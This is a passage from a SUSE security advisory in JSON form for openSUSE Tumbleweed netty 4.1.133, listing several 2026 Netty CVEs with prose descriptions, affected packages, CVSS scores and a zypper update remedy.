"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42580",
"url": "https://www.suse.com/security/cve/CVE-2026-42580"
},
{
"category": "external",
"summary": "SUSE Bug 1265273 for CVE-2026-42580",
"url": "https://bugzilla.suse.com/1265273"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42580"
},
{
"cve": "CVE-2026-42581",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42581"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42581",
"url": "https://www.suse.com/security/cve/CVE-2026-42581"
},
{
"category": "external",
"summary": "SUSE Bug 1265277 for CVE-2026-42581",
"url": "https://bugzilla.suse.com/1265277"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42581"
},
{
"cve": "CVE-2026-42582",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42582"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final, when decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length \u003c= in.readableBytes() before new byte[length]. This vulnerability is fixed in 4.2.13.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42582",
"url": "https://www.suse.com/security/cve/CVE-2026-42582"
},
{
"category": "external",
"summary": "SUSE Bug 1265318 for CVE-2026-42582",
"url": "https://bugzilla.suse.com/1265318"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42582"
},
{
"cve": "CVE-2026-42583",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42583"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42583",
"url": "https://www.suse.com/security/cve/CVE-2026-42583"
},
{
"category": "external",
"summary": "SUSE Bug 1265279 for CVE-2026-42583",
"url": "https://bugzilla.suse.com/1265279"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42583"
},
{
"cve": "CVE-2026-42584",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42584"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u0027s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42584",
"url": "https://www.suse.com/security/cve/CVE-2026-42584"
},
{
"category": "external",
"summary": "SUSE Bug 1265280 for CVE-2026-42584",
"url": "https://bugzilla.suse.com/1265280"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.6,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-42584"
},
{
"cve": "CVE-2026-42585",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42585"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42585",
"url": "https://www.suse.com/security/cve/CVE-2026-42585"
},
{
"category": "external",
"summary": "SUSE Bug 1265291 for CVE-2026-42585",
"url": "https://bugzilla.suse.com/1265291"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-42585"
},
{
"cve": "CVE-2026-42586",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42586"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
